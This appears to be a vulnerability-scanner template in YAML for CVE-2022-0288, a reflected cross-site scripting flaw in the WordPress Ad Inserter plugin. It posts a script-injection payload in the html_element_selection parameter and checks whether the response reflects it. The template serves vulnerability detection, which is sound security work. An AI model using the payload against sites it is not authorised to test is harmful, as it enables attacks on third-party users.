46 lines
1.2 KiB
YAML
46 lines
1.2 KiB
YAML
id: CVE-2022-0288
|
|
|
|
info:
|
|
name: Ad Inserter < 2.7.10 - Reflected Cross-Site Scripting
|
|
author: DhiyaneshDK
|
|
severity: medium
|
|
description: The plugins do not sanitise and escape the html_element_selection parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting.
|
|
remediation: Fixed in version 2.7.12
|
|
reference:
|
|
- https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.10
|
|
cve-id: CVE-2022-0288
|
|
cwe-id: CWE-79
|
|
tags: wordpress,xss,wpscan,cve,cve2022
|
|
|
|
requests:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}"
|
|
|
|
headers:
|
|
Content-Type: "application/x-www-form-urlencoded"
|
|
|
|
body: |
|
|
html_element_selection=</script><img+src+onerror=alert(document.domain)>
|
|
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</script><img src onerror=alert(document.domain)>"
|
|
- "ad-inserter"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html" |